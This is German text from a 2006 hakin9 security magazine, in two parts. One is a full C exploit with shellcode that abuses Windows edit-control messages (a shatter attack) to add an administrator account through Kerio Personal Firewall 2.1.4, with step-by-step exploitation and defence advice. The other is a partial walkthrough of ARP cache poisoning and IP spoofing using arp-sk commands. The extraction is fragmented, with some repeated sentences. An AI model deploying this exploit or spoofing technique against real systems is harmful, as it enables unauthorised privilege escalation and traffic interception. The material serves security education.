Listing 7. Exploit, der Kerio Personal Firewall 2.1.4 austrickst und ein Administratorkonto hinzufügt #include #include #include /* win32_exec - EXITFUNC=process CMD=cmd.exe /c net user hakin9 hakin9 /add && net localgroup administrators /add hakin9 Size=240 Encoder=PexFnstenvSub http://metasploit.com */ unsigned char scode[] = "\x29\xc9\x83\xe9\xca\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x27" "\xca\x2a\x8c\x83\xeb\xfc\xe2\xf4\xdb\x22\x6e\x8c\x27\xca\xa1\xc9" "\x1b\x41\x56\x89\x5f\xcb\xc5\x07\x68\xd2\xa1\xd3\x07\xcb\xc1\xc5" "\xac\xfe\xa1\x8d\xc9\xfb\xea\x15\x8b\x4e\xea\xf8\x20\x0b\xe0\x81" "\x26\x08\xc1\x78\x1c\x9e\x0e\x88\x52\x2f\xa1\xd3\x03\xcb\xc1\xea" "\xac\xc6\x61\x07\x78\xd6\x2b\x67\xac\xd6\xa1\x8d\xcc\x43\x76\xa8" "\x23\x09\x1b\x4c\x43\x41\x6a\xbc\xa2\x0a\x52\x80\xac\x8a\x26\x07" "\x57\xd6\x87\x07\x4f\xc2\xc1\x85\xac\x4a\x9a\x8c\x27\xca\xa1\xe4" "\x1b\x95\x1b\x7a\x47\x9c\xa3\x74\xa4\x0a\x51\xdc\x4f\xb4\xf2\x6e" "\x54\xa2\xb2\x72\xad\xc4\x7d\x73\xc0\xa9\x47\xe8\x09\xaf\x52\xe9" "\x07\xe5\x49\xac\x49\xaf\x5e\xac\x52\xb9\x4f\xfe\x07\xa2\x4b\xe7" "\x4e\xa4\x13\xac\x4f\xab\x41\xe5\x49\xf3\x0a\xa3\x46\xae\x4e\xac" "\x01\xec\x0a\xe2\x42\xbe\x0a\xe0\x48\xa9\x4b\xe0\x40\xb8\x45\xf9" "\x57\xea\x4b\xe8\x4a\xa3\x44\xe5\x54\xbe\x58\xed\x53\xa5\x58\xff" "\x07\xe5\x4b\xe8\x43\xea\x42\xed\x4c\xa3\x44\xb5\x27\xca\x2a\x8c"; int main() { HANDLE ParentWnd, ChildWnd; LONG scaddr; char *buf; ParentWnd = FindWindow("#32770", "Kerio Personal Firewall"); if(ParentWnd == NULL) { printf("Couldn't find top-level window!\n"); system("PAUSE"); return 1; } ChildWnd = FindWindowEx(ParentWnd, NULL, "Edit", NULL); if(ChildWnd == NULL) { printf("Couldn't find Edit control!\n"); system("PAUSE"); return 1; } if(SendMessage(ChildWnd, EM_SETREADONLY, FALSE, 0)==0) { printf("Sending WM_SETREADONLY message failed!\n"); system("PAUSE"); return 1; } buf = malloc(strlen(scode)+1024*1024+1); buf = memset(buf, 0x90, 1024*1024); strcat(buf, scode); buf[strlen(buf)] = 0; SendMessage(ChildWnd, EM_SETLIMITTEXT, strlen(scode)+1024*1024+1, 0); if(!SendMessage(ChildWnd, WM_SETTEXT, 0, (LPARAM)buf)) { printf("Sending WM_SETTEXT message failed!\n"); system("PAUSE"); return 1; }

}

SendMessage(ChildWnd, EM_SETWORDBREAKPROC, 0L, 0x00B45000); SendMessage(ChildWnd, WM_LBUTTONDBLCLK, MK_LBUTTON, (LPARAM)0x000a000a );

www.hakin9.org

den Prozesse sowie der Benutzer, der sie ausgeführt hat, angezeigt werden. Klicken Sie doppelt auf das Icon der Firewall im System-Tray. Daraufhin soll das Hauptfenster des Programms erscheinen, wo jedoch das benötigte Control Edit nicht zu finden ist. Wählen Sie im Menü File die Anweisung Connect... Es wird ein neues Fenster geöffnet, das Felder enthält, in denen die Verbindungsparameter eingetragen werden können. In was trägt man Verbindungsparameter ein? In Edit Controls! Abbildung 1 zeigt einen Screenshot des Programms Process Explorer mit einem markierten Prozess, dem das Fenster mit den Controls Edit gehört. Wie Sie sehen, läuft dieser Prozess als ein Systemdienst. Um sicher zu sein, dass es sich um das richtige Fenster handelt, können Sie es aufrufen, indem Sie es mit der rechten Maustaste anklicken und die Anweisung Bring to Front wählen. Starten Sie erneut den Debugger und hängen ihn an den Prozess dieses Fensters an. Es werden dort einige Prozesse zu sehen sein, die sich auf Kerio Personal Firewall beziehen. Um den richtigen Prozess auszuwählen, sollen Sie entweder auf den Fenstertitel schauen oder die Nummer des Prozesses in Process Explorer (Spalte PID) mit OllyDbg (Spalte Process) vergleichen. Abbildung 2 zeigt den markierten (richtig) Prozess in OllyDbg. Man sollte aber nicht vergessen, dass OllyDbg einen hexadezimalen und Process Explorer einen dezimalen Wert anzeigt. Sollte Ihnen das Umrechnen Schwierigkeiten bereiten, können Sie den Windows-Taschenrechner in der wissenschaftlichen Ansicht einsetzen. Nach dem Anhängen von OllyDbg an den entsprechenden Prozess können Sie sich die Struktur der Fenster anschauen — genauso wie im Falle des Editors. Wie Sie der Abbildung 3 entnehmen können, heißt das übergeordnete Fenster Kerio Personal Firewall, seine Klasse ist #32770 und die zwei Controls Edit liegen direkt drauf.

hakin9 Nr. 3/2006

19

Thema der Ausgabe

Abbildung 4. Generieren eines Shellcodes in Metasploit Framework

Abbildung 5. Suche nach dem Shellcode

Abbildung 6. Ablesen der Adresse der gefundenen Zeichenkette

20

hakin9 Nr. 3/2006

www.hakin9.org

Sie brauchen für Ihren Exploit noch einen Shellcode, der zu einer neuen Funktion zum Umbruch eines Textes wird und somit durch den angegriffenen Prozess ausgeführt werden kann. Sie können einen beliebigen Shellcode verwenden — er soll lediglich für das jeweilige System geschrieben und korrekt sein. Im Kasten Generieren eines Shellcodes in Metasploit Framework wurde ein Shellcode vorgestellt, der einen neuen Administrator hinzufügt. Diesen Shellcode werden Sie im Code der Expolits verwenden. Der hier gezeigte Code gilt für eine englische Windowsversion. Wie er für andere Versionen angepasst werden kann, hatte wir im genannten Kasten gezeigt. Soweit die Vorbereitungen — nun können Sie sich mit dem Schreiben des Codes Ihres Exploits beschäftigen. Genauso wie im Falle des Beispielcodes mit dem Editor, müssen Sie zunächst das Handle zum Control erhalten. Zu diesem Zweck verwenden Sie die Funktion FindWindow() und FindWindowsEx() sowie die Informationen aus dem Debugger. Sobald wir über das Handle verfügen kann der Shellcode mithilfe der Message WM_SETTEXT im Control gespeichert werden. Man sollte sich aber vorher vergewissern, dass die voreingestellte Länge der Zeichenkette, die im Control gespeichert werden kann, für den Code ausreicht. Es empfiehlt sich, die benötigte Länge vorsichtshalber mit der Message EM_SETLIMITTEXT festzulegen. Da das Edit-Control read-only sein kann, senden wir noch EM_SETREADONLY mit dem Parameter wParam gleich FALSE. Danach können Sie ohne Bedenken die Message WM_SETTEXT mit der Adresse Ihres Shellcodes senden. Während des Schreibens des Exploits ist aber die Adresse des Shellcodes im Speicher des anzugreifenden Prozesses noch nicht bekannt. Um diese Adresse herauszufinden, stellen Sie dem Shellcode eine bestimmte Zeichenkette voran, z. B. hakin9. Dadurch werden Sie Ihren Shellcode im Speicher leichter finden können. Mehr Details dazu finden

Ausnutzen von Fehlern in Windows-Meldungen

Durchsuchen des Speichers nach dem Shellcode

OllyDbg ermöglicht eine sehr bequeme Durchsuchung des Speichers eines debuggten Prozesses. Wählen Sie im Fenster Memory Map aus dem Kontextmenü die Anweisung Search aus. Nun können Sie eine Zeichenkette in ASCII, UNICODE oder hexadezimal eintragen. Um diesen Schritt zu vereinfachen, haben wir am Anfang des Shellcodes die Zeichenkette hakin9 platziert. Es genügt jetzt, diese Zeichenkette im Feld ASCII anzugeben und OK anzuklicken. Wurde der Shellcode kopiert, soll er nun gefunden werden. Die erste Adresse von oben in der linken Spalte ist die Adresse der gesuchten Zeichenkette. Sie müssen zu dieser Adresse die Länge der Zeichenkette hakin9 addieren, um die Adresse des ersten Bytes des Shellcodes zu erhalten. Die den Abbildungen 5 und 6 zeigen die beschriebenen Tätigkeiten.

Sie im Kasten Durchsuchen des Speichers nach dem Shellcode. Nachdem Ihr Exploit WM_SETTEXT gesendet hat, wird er warten, bis Sie die Adresse des Shellcodes eingegeben haben. Dann erstezt er die Default-Adresse der Funktion zum Umbruch des Textesdurch die eingegebene Adresse Zum Schluss senden Sie der Exploit noch WM_LBUTTONDBLCLK was den Aufruf der Umbruchfunktion auslöst. Hat alles geklappt, sollte im System ein Konto mit den definierten Parametern angelegt worden sein. Listing 6 zeigt den vollständigen Code dieses Exploits. Mithilfe des Debuggers können wir sehr einfach dieAdresse des Shellcodes finden. Allerdings wird ein solcher Exploit nutzlos sein, da die Adresse nach jedem Ausführen des anzugreifenden Programms sich ändern wird-ohne Administratorrechte können wir den Debugger nicht verwenden. Dies stellt aber kein großes Hindernis dar. Ähnlich wie im Falle des Pufferüberlaufs verwenden wir die NOP-Befehle. Im Vergleich zum Pufferüberlauf sieht die Lage aber viel günstiger aus, denn wir können die Puffergröße selbst festlegen (Message EM _ SETLIMIT-TEXT). Mehr Speicher zu allozieren als man braucht ist zwar nicht elegant, wir schreiben aber einen Exploit und es lohnt sich in diesem Fall nicht, zu überprüfen, wie viel Speicher benötigt wird. Aus diesem Grund setzen wir die Größe des NOP-Blocks auf 1MB. Eine solche Größe reicht vollkommen aus und ist für moderne Hardware keine große Herausforderung. Wir starten den Exploit erneut und wählen mithilfe des Debuggers

eine Adresse aus, die sich ungefähr in der Mitte des NOP-Blocks befindet. Wir tragen diese Adresse in den Code des Exploits ein und erhalten einen Code, den wir in der Praxis einsetzen können. Der Quellecode wurde in Listing 7 vorgestellt. Die neueren Versionen von Kerio Personal Firewall für gewöhnliche Benutzer, die erweiterte Berechtigungen erfordern, können weiterhin anfällig für diese Art von Angriffe sein. Sie lassen aber keine Erweiterungen der Berechtigungen zu, da die Autoren des Programms aus Sicherheitsgründen die Applikation in zwei Teile aufgeteilt haben; ein Teil verfügt über Systemrechte und ein anderer Teil kommuniziert mit dem Benutzer. Ein Prozess, der für Ihren Angriff anfällig sein könnte, läuft mit den Berechtigungen eines eingeloggten Benutzers und kommuniziert lediglich mit einem Prozess, der über mehr Berechtigungen verfügt. Das Ausnutzen eines eventuellen Fehlers würde also nicht den gewünschten Effekt bewirken Aus der Sicht des Administrators ergibt sich daraus die Empfahlung, Software, die eine GUI zur Verfügung stellt und die mit Systemrechten läuft, nach Möglichkeit durch eine getrennte Software zu ersetzen. Dies stellt zwar keine Gegenmaßnahme gegen den beschriebenen Fehler dar, macht aber dessen praktische Verwendung beinahe unmöglich.

Umgehen der Firewall

Ein anderes, derzeit viel praktisches Beispiel für die Ausnutzung des vorgestellten Fehlers ist dessen Anwenden gegen eine Applikation,

www.hakin9.org

für die in der Firewall eine Regel definiert wurde, die einen Zugriff auf das Netzwerk erlaubt. Wenn es gelingt, Code in ein solcher Programm zu injizieren, kann man auf das Netzwerk zugreifen. Aus der Sicht der Firewall wird der Code die Regel erfüllen, da er zum Prozess gehört, dem die Verbindung erlaubt wurde, vorausgesetzt man verwendet die von der Regel erlaubten Protokolle. Diese Strategie erinnert an andere Methoden zum Umgehen von Firewalls mithilfe eines injizierten Codes, wie z. B. die Techniken, in denen die Funktion CreateRemoteThread() eingesetzt wird. Eine von ihnen, die so genannte dll injection-Technik, wurde in der Ausgabe 3/2005 von hakin9 beschrieben. Man muss dazu ein Programm finden, dem eine definierte Regel zugeordnet wurde, und das für einen Angriff anfällig ist, der auf der message EM_SETWORDBREAKPROC (bzw. einer anderen Message) basiert. Ein zusätzliches Hindernis stellt die Notwendigkeit der vollen Automatisierung dar, weil der Angreifer bei dieser Technik im Remote-Modus agieren muss. Beim Schreiben des vorherigen Beispiels wurde angenommen, dass der Angreifen auf den Rechner des Opfers physisch zugreifen kann, um das entsprechende Fenster zu öffnen und erst dann den Exploit zu starten. Beim einem Remote-Angriff. könnte ein anderer User am angegriffenen Rechner sitzen, der sich natürlich über aufgehende Fenster wundern würde. Die Anwendung dieser Technik zum Umgehen der Firewall entspricht hinsichtlich des Injizieren des Codes dem vorherigen Beispiel-andere Aspekte dieser Technik würden aber den Rahmen dieses Artikels sprengen. Möchte man diese Methode jedoch nur überprüfen, kann der vorherige Code leicht Struktur der Fenster eines der Struktur eines ausgewählten Programms angepasst und der Shellcode durch einen, der die Netzwerkverbindung verwendet,ersetzt werden. Es gibt auch andere Methoden zum Injizieren eines Codes, wie z. B. die bereits genannte Techniken,

hakin9 Nr. 3/2006

21

Thema der Ausgabe

22

hakin9 Nr. 3/2006

www.hakin9.org

Ausnutzen von Fehlern in Windows-Meldungen

www.hakin9.org

hakin9 Nr. 3/2006

23

Thema der Ausgabe

sowie Controls verfügt, die für den Angriff anfällig sind (nicht unbedingt jene, die im Artikel beschrieben wurden). Andererseits hat der Einsatz der Meldungen den Vorteil, dass nur die Funktion SendMessage() benötigt wird, die in jeder grafischen Applikation verwendet wird. Diese Funktion steht in allen WindowsVersionen ab Windows 95 (und nicht nur in Systemen mit dem NT-Kernel) zur Verfügung. Außerdem stellt heutzutage das Auffinden einer zusätzlichen DLL-Bibliothek für die moderne Software zur Systemsicherheit kein Problem dar. Wie es bereits gezeigt wurde, ist auch die Erweiterung der Berechtigungen möglich, die mithilfe der konkurrierenden Techniken nicht machbar ist. Andere Techniken zum Injizieren eine Codes

Sicherheitsrisiko

Abbildung 7. Liste der Benutzer nach dem Ausführen des Exploits die auf der Funktion CreateRemoteThread() basieren. Sie alle haben gemein, dass sie nicht die Fehler ausnutzen, die die Autoren der anfälligen Programme gemacht haben, sondern Design-Fehler, die die Autoren der anfälligen Programme gemacht haben, sondern DesingFehler der Autoren des Systems Windows, die bewirken, dass jedes Programm ohne weiteres anfällig ist. Für das Anwenden der Funktion CreateRemoteThread() spricht ein großer Komfort beim Programmieren, insbesondere dann, wenn man das Schreiben einer DLL-Bibliothek mit der Notwendigkeit eines ShellcodeEinsatzes vergleicht. Außerdem soll auch die Universalität der Bibliothek in Betracht gezogen werden. Sie erfordert keine besonderen Umstände, kann gegen die meisten Programme eingesetzt werden und der Code muss nicht im Hinblick auf eine bestimmte Applikation erstellt werden, und red Code muss nicht Hinblick auf

24

hakin9 Nr. 3/2006

eine bestimmte Applikation erstellt werden. Derselbe Code kann gegen verschiedene Programme eingesetzt werden. Darüber hinaus setzt das Anwenden der Meldungen voraus, dass die Applikation über eine GUI

Es ist schwierig, einen genauen Grad der Bedrohung durch die Fehlern in Windows-Meldungen zu benennen. Nichtsdestotrotz kann das Risiko als hoch eingestuft werden. Das vorgestellte Beispiel ist sicherlich keine universelle Methode zur Übernahme der Kontrolle über ein System, da es das Starten des anzugreifenden Programms bzw. das Vorhandensein des gestarten Programms voraussetzt. Der Angreifen muss also entweder einen physischen Zugang zum Rechner

Über den Autor

Der Autor studiert im ersten Semester Informatik im Fachbereich Kybernetik der Militärischen Technischen Akademie in Warschau. Er interessiert sich seit ein paar Jahren für IT-Sicherheit und ist einer der Co-Autoren eines Webservices, der dieser Thematik gewidmet ist.

Im Internet •





http://security.tombom.co.uk/shatter.html – ein Artikel von Chris Paget, der als Erster die Gefahr, durch Fehlern in Szstemmessages in Windows beschrieben hat; http://www.security-assessment.com/Whitepapers/Shattering _By _ExampleV1_03102003.pdf – Brett Moore stellt das Ausnutzen anderer gefährlichen Messages vor; http://www.rootsecure.net/content/downloads/pdf/shatter_attack_redux.pdf – ein Text von Oliver Lavery, in dem der Code der im Artikel erwähnten DLL-Bilbiothek beschrieben wurde.

www.hakin9.org

haben oder Fehler in einer anderen Applikation ausnutzen. Allerdings ist es nicht ausgeschlossen, dass sich dies Art vin Angriffen in nacher Zukunft zu einem Renner entwickeln. Dies liegt an den Fortschritten in der Entwicklung der Software, die zum Schutz des Systems dient und mit den anderen Techniken immer besser zurechtkommt.

Wie kann ich mich schützen?

Die beste Methode wäre das Installieren eines Betriebsszstem-Patches. Dieser ist aber noch nicht erschienen und dies wird sich in der nächsten Zukunft nicht ändern. Microsoft weiß seit Langem von den Fehlern aber offenbar handelt es sich hier um einen ernsten Design-Fehler, der nicht behoben werden kann, ohne dass die Kompatibilität mit der existierenden Software beeinträchtigt wird. Ein gewöhnlicher Benutzer kann sich nicht erfolgreich schützen, er kann aber das Ausführen von bösartigem Code vereiteln, indem er sein System resistenter macht. Er kann seine Software regelmäßig aktualisieren, um von Seciuruty.Fixes zu profitieren, sowie Antivirenprogramme und andere Schutzmaßnahmen verwenden. Es ist wichtig, jene Software loszuwerden, die die Erweiterung der Berechtigungen ermöglicht. Ein Programmieren kann ein bisschen mehr tun. In erster Linie soll die Strategie verfolgt werden, dass man keinen Daten trauen kann, die in irgendeiner Hinsicht von Messages abhängig sind, die vom Programm empfangen werden. Man sollte auch den Fehler vermeiden, dass man die Benutzerschnittstelle mit einem Dienst verbindet, der mit höheren Berechtigungen arbeitet. In einem solchen Programm soll zwischen dem Modul, der Tätigkeiten realisiert, die höhere Berechtigungen erfordern, und der Kommunikation mit einem nicht privilegierten Prozess, der als Schnittstelle fungiert, strikt getrennt werden. Theoretisch können die empfangenen Meldungen gefiltert werden. Dies ist ziemlich einfach im Falle von

Queued-Messages gefiltert werden. Dies ist zimlich einfach im Falle von QueuedMessages, kann aber bei Nonqueued-Meldungen (wie z.B. EM _SET WORDBREAKPROC) nicht verwendet werden. Die einzige Lösung besteht im Modifizieren der Prozedur, die für das Fenster zuständig ist (subclassing). Eine neue Prozedur könnte die ankommenden Messages filtern. Die verifizierten Messages könnten dann an die originale Prozedur weitergeleitet werden, die für ein bestimmtes Control zuständig ist. Da es jedoch keine Möglichkeit gibt, den Sender zu bestimmen, ist das Wort filtern fehl am Platz, da es lediglich darum gehen würde, alle potenziell gefährlichen Messages zurückzuweisen. Möchten wir in der Applikation eine dieser Messages anwenden, gibt es keine Möglichkeit, einen sinnvollen Schutz zu gewährleisten. Oliver Lavery hat in seinem Text (siehe Kasten Im Internet) den Code einer DLL-Bibliothek vorgestellt, die die Prozeduren, die für das Control Edit zuständig sind, automatisch durch eine solche ersetzt, die die Meldung EM_SETWORDBREAKPROC zurückweist. Man sollte daran denken, dass das beschriebene Problem nicht nur die Message EM_SETWORDBREAKPROC, sondern auch viele andere gefährlichen Message, die gegen andere Elemente der Schnittstelle eingesetzt werden können. Manche von ihnen wurden von Brett Moore beschrieben (siehe Kasten Im Internet). Aus diesem Grund kann das Herausfiltern einer Message keine ganzheitliche Lösung darstellen. Desweiteren kann man als Proogrammierer bei Controls, die einen Text aufbewahren, als Zeichenkodierung UNICODE anstelle von ASCII verwenden. Bei UNICODE werden für ein Zeichen mehrere Bytes verwendet, was den Aufwand beim Erstellen eines Shellcodes erheblich erhöht und auf den einen oder anderen demotivierend wirken kann. l

www.hakin9.org

Fokus

Wie man IP-Adressenfilterung an Firewalls bzw. Routern umgeht Kristof De Beuckelaer

Schwierigkeitsgrad

Spoofing ist ein gängiger Begriff im Sicherheitsbereich, der eine Situation beschreibt, in der sich eine Person bzw. ein Programm für einen anderen Kommunikationsteilnehmer ausgibt. Eine übliche Spoofingtechnik ist Ref-Tar-Spoofing. IP Smart Spoofing bedient sich einer Kombination des ARP Cache Poisoning, der Übersetzung von Netzwerkadressen und der Routingverfahren.

E

s gibt eine neue Methode, IP-Adressen mit einem Tool namens ARP-sk zu spoofen, allerdings gibt es hierfür auch andere Tools, beispielsweise ARP-fillup. Wenn Sie sich gut genug auskennen, können Sie sich ein einfaches Perl-Skript schreiben, das diesen Prozess automatisiert und/oder ARP-sk und ARP-fillup nebeneinander nutzen lässt. IP Spoofing ist nichts Neues und es wurden inzwischen verschiedene Tools entwickelt, mit denen man es umsetzen kann. Daher zeigen wir nun, warum IP-basierte Zugriffskontrolle in vielen Fällen unzuverlässig ist und nicht in Unternehmensnetzwerken eingesetzt werden sollte. IP Smart Spoofing bedient sich einer Kombination aus ARP Cache Poisoning, Auflösung von Netzwerkadressen und Routingverfahren. Es bedarf keiner raffinierten Hacks. Zuerst fangen wir ganz am Anfang an, um uns ans MAC Spoofing und ARP Spoofing bzw. ARP Cache Poisoning zu erinnern und tasten uns dann an Smart Spoofing heran.

Die Auswirkungen von Smart Spoofing Netzwerkgeräte wie Router oder Firewalls setzen oft IP-Quelladressenfilterung ein. Ihre Regeln können von jedem Rechner auf dem

26

hakin9 Nr. 3/2006

Pfad zwischen dem autorisierten Client und der Firewall umgangen werden. In den meisten Unternehmensnetzen, die über eine Firewall ans Internet angeschlossen sind, verfügen beispielsweise nur bestimmte wenige Rechner über die Möglichkeit direkt ans Internet zu gehen (wie der interne HTTP-Proxy mit Inhalts- bzw. URLFilterung, Mailserver usw.). Mit Smart Spoofing kann jeder interne Nutzer diese Einschränkungen umgehen (die HTTP-Filterung von Inhalten und URL's umgehen, SMTP-basierte E-Mails

In diesem Artikel erfahren Sie… •

Warum IP-basierte Zugriffskontrolle in vielen Fällen weder sicher noch zuverlässig ist und nie im Unternehmensnetzwerk eingesetzt werden sollte.

Was Sie vorher wissen/können sollten... •

www.hakin9.org

Sie sollten die Grundlagen des ARP-Spoofings, der Auflösung von Netzwerkadressen und der Routingverfahren kennen.

Wie man IP-Adressenfilterung umgeht

direkt verschicken/empfangen). Auf dieselbe Art und Weise können Anwendungen mit IP-basierten Zugriffsbeschränkungen von Unbefugten aus dem Netzwerkpfad zwischen einem autorisierten Client und dem autorisierten Server umgangen werden. So ist es bei vielen Anwendungen wie Apache ACL, r-Befehlen, NFS, TCPWrappern, eingeschränkten Administrationstools usw. Außerdem können Schutzmechanismen gegen SMTP Relaying umgangen werden, die auf die umgekehrte Auflösung von IP-Quelladressen bauen. Indem ein böswilliger Nutzer auf dem Pfad zwischen den STMP-Relays A und B die IP-Adresse des Hosts A spooft, kann er E-Mails durch B weiterleiten lassen, indem er eine gefälschte E-Mail-Quelladresse aus der von A gehosteten Domain verwendet.

Was ist ARP?

Das Address Resolution Protocol (ARP) ist ein Netzwerkprotokoll, das eine Adresse der Vermittlungsschicht auf die Hardwareadresse der Sicherungsschicht abbildet. ARP wird beispielsweise bei der Auflösung von IP-Adressen in die entsprechenden Ethernet-Adressen verwendet.

Wie bildet ARP eine IPAdresse auf eine EthernetAdresse ab?

Wenn ARP eine vorgegebene IPAdresse in eine MAC-Adresse auflösen soll, broadcastet ein ARPAnfragepaket. Dieses Paket enthält die MAC- und IP-Quelladressen sowie die IP-Zieladresse. Jeder Host im lokalen Netzwerk empfängt dieses Paket. Der Host mit der vorgegebenen Zieladresse meldet sich beim Absenderhost mit einem ARP-Antwortpaket.

Schnelle Übersicht über die Möglichkeiten von ARP-sk ARP ist ein bekanntes Protokoll, es ermöglicht eine ganze Reihe verschiedener Angriffe und doch ist der häufigste Angriff auf Sniffing beschränkt. ARP-sk ist zur Manipulation von ARPTabellen an allerlei Geräten gedacht.

Tabelle 1. Ein Ethernet-Frame Ziel-MAC

Quell-MAC

Typ

Payload

Prüfsumme

Ethernetframe Hardwaretyp

Protokolltyp

HW-Addr.-Länge P-Addr.-Länge

Opcode

Hardwareadresse der Quelle Protokolladresse der Quelle Hardwareadresse des Ziels Protokolladresse des Ziels Dies kann man ohne Weiteres durch das Verschicken entsprechender Pakete bewerkstelligen. Grundsätzlich ist ein ARP-Anfragepaket in einem Ethernet/IP-Netzwerk durch sieben wichtige Parameter gekennzeichnet (siehe Tabelle 1): • •

die Ethernet-Schicht stellt zwei Adressen bereit (SRC und DST), die ARP-Schicht enthält den Nachrichtencode (request oder reply ) und die Portnummern (ETH, IP) für die Quelle und das Ziel.

Dabei ist nirgendwo gesagt, dass die ARP- und Ethernet-Schicht konsistent sein müssen. Daher brauchen die Adressen auf den beiden Schichten nicht korelliert zu sein. #1

MAC-Spoofing

Dieser Angriff zielt typischerweise auf das Ethernet-Protokoll auf der Schicht 2 ab. Er erweist sich als sehr effektiv gegen Switches, die ihre CAM-Tabellen (Content Addressable Memory bei Cisco) aktualisieren; die Tabellen beinhalten alle Ethernet-Adressen, die an jeden Port des Switch gebunden sind. Manchmal ist aber auch diese Attacke nicht die beste und effizienteste. •

Wenn die CAM-Tabelle statisch ist, wird der Port beim Opfer geschlossen und der Administrator benachrichtigt.

Allerdings fallen einige Switches in den fail open Modus zurück (sie leiten jedes Paket an alle Ports weiter, genau wie Hubs), wenn es zu zu vielen Konflikten kommt.

ARP-Manipulation

ARP-Manipulation oder wie der Verkehr in einem LAN umgeleitet wird Das Erste, was einem in den Sinn kommt, wenn man ein LAN belauschen will, ist, sein Netzwerkinterface in den Promiscuous-Mode zu schalten. Dies führt dazu, dass jedes am Interface ankommende Paket direkt von Schicht 2 (meistens Ethernet) nach oben (IP, ARP, DNS...) geleitet wird, ohne dass geprüft wird, ob dieses Interface das richtige Ziel des Pakets ist oder nicht. Leider hat die Methode ihre Einschränkungen, da es unmöglich ist, damit über einen Switch hinaus zu gehen. #2 MAC-Spoofing

www.hakin9.org

#3 ARP-Spoofing

ARP-Spoofing

Da MAC-Spoofing weder effizient noch gut verschleiert ist, wechseln wir eine Schicht nach oben, zum ARP-Protokoll. ARP-Meldungen werden ausgetauscht, wenn ein Host die MAC-Adresse eines anderen zu ermitteln versucht. Wenn batman beispielsweise robins MAC-Adresse benötigt, verschickt er eine ARPAbfrage (Who has? Red.- ARP wird verwendet, um die Ethernet-Adresse eines Hosts anhand seiner IP-Adresse zu ermitteln. ARP wird breit von allen Hosts in Ethernet-Netzwerken eingesetzt.) an die Broadcast-Adresse und robin gibt seine MAC-Adresse zurück. Was passiert aber, wenn Joker schneller als Robin ist?

hakin9 Nr. 3/2006

27

Fokus



Listing 1. Verschicken der Who has Abfrage



[root@joker]# arp-sk -w -d batman -S robin -D batman + Running mode “who-has” + IfName: eth0 + Source MAC: 00:10:a4:9b:6d:81 + Source ARP MAC: 00:10:a4:9b:6d:81 + Source ARP IP : 192.168.1.2 (robin) + Target MAC: 52:54:05:F4:62:30 + Target ARP MAC: 00:00:00:00:00:00 + Target ARP IP : 192.168.1.1 (batman)

Erstellen eines neuen Eintrags

Dazu schicken wir eine Abfrage (Who has?) an das Opfer. Wenn ein Host ein who-has empfängt, glaubt er, dass eine Verbindung aufgebaut werden wird. Um also den ARP-Verkehr zu reduzieren, legt er in seinem ARP-Cache einen neuen Eintrag an und speichert darin die in der ARPAnfrage angegebenen Adressen (siehe Listings 1 und 2). Hier ist eine kurze Legende zu unseren weiteren Aktionen:

--- Start sending -To: 52:54:05:F4:62:30 From: 00:10:a4:9b:6d:81 0x0806 ARP Who has 192.168.1.1 (00:00:00:00:00:00) ? Tell 192.168.1.2 (00:10:a4:9b:6d:81) --- batman (00:00:00:00:00:00) statistic --To: 52:54:05:F4:62:30 From: 00:10:a4:9b:6d:81 0x0806 ARP Who has 192.16.1.1 (00:00:00:00:00:00) ? Tell 192.168.1.2 (00:10:a4:9b:6d:81) 1 packets tramitted (each: 42 bytes - total: 42 bytes)



Listing 2. Der Cacheinhalt bei Batman



# before [batman]$ arp -a alfred (192.168.1.3) at 00:90:27:6a:58:74 # after [batman]$ arp -a robin (192.168.1.2) at 00:10:a4:9b:6d:81 alfred (192.168.1.3) at 00:90:27:6a:58:74 12:50:31.198300 arp who-has robin tell batman [1] 12:50:31.198631 arp reply robin is -at 0:10:a4:9b:6d:81 [2]

Batman trägt jokers MAC-Adresse in seinen ARP-Cache ein. Da aber batmans Paket gebroadcastet wurde, antwortet auch robin: 12:50:31.198862 arp reply robin is -at 52:54:5:fd:de:e5 [3]

Wichtig

Wenn das Opfer den zu spoofenden Eintrag nicht bereits aufbewahrt, bringt das Antworten nichts, weil der Cache einen nicht existierenden Eintrag nicht aktualisiert. ARP-Cache? ARP speichert die Abbildungen von IP- auf MAC-Adressen in einer Tabelle im Speicher, die als ARPCache bezeichnet wird. Die Einträge in der Tabelle werden automatisch hinzugefügt und entfernt.

28

hakin9 Nr. 3/2006

einen neuen Eintrag in den Cache des Opfers einzutragen oder einen bereits vorhandenen Eintrag zu aktualisieren

ARP Cache Poisoning

Da die besprochenen Angriffe ihre Beschränkungen haben, erweist sich den Cache des Opfers zu manipulieren als die beste Lösung, egal, was für ARP-Meldungen er verschickt. Dazu müssen wir entweder versuchen:

– die Adresse des Filtergeräts, mit dem die Verbindung hergestellt werden soll ->S – die zu spoofende Adresse des vertrauenswürdigen Hosts ->D

Jetzt werden also, wenn batman eine Verbindung zu robin herstellt, Pakete an joker geschickt, und zwar ohne dass batman etwas zu senden braucht. Dabei ist das Verschicken einer ARP-Anfrage im Unicast-Modus völlig RFC-konform. Ein Host überprüft damit nämlich die Einträge in seinem Cache.

Aktualisieren eines Eintrags

Die Methode des ARP-Spoofings ist genau das, was wir brauchen! Wir

Listing 3. Aktualisierungsmethode [root@joker]# arp-sk -r -d batman -S robin -D batman + Running mode "reply" + IfName: eth0 + Source MAC: 00:10:a4:9b:6d:81 + Source ARP MAC: 00:10:a4:9b:6d:81 + Source ARP IP : 192.168.1.2 (robin) + Target MAC: 52:54:05:F4:62:30 + Target ARP MAC: 52:54:05:F4:62:30 + Target ARP IP : 192.168.1.1 (batman) --- Start sending -To: 52:54:05:F4:62:30 From: 00:10:a4:9b:6d:81 0x0806 ARP For 192.168.1.1 (52:54:05:F4:62:30) 192.168.1.2 is at 00:10:a4:9b:6d:81 --- batman (52:54:05:F4:62:30) statistic --To: 52:54:05:F4:62:30 From: 00:10:a4:9b:6d:81 0x0806 ARP For 192.168.1.1 (52:54:05:F4:62:30): 192.168.1.2 is at 00:10:a4:9b:6d:81 1 packets tramitted (each: 42 bytes - total: 42 bytes)

www.hakin9.org

Wie man IP-Adressenfilterung umgeht

müssen lediglich ARP-Antworten an batman schicken, die robins IP-Adresse, aber jokers MAC-Adresse enthalten. Auch wenn ein Eintrag in batmans Cache vorhanden ist, wird er mit jokers Angaben überschrieben: [batman]$ arp -a robin (192.168.1.2) at 52:54:05:fd:de:e5 alfred (192.168.1.3) at 00:90:27:6a:58:74

Und jetzt aktualisieren wir den Cache auf diese Art und Weise (siehe Listing 3). Nun sehen wir uns das Ergebnis an, das ungefähr wie folgt aussehen sollte:

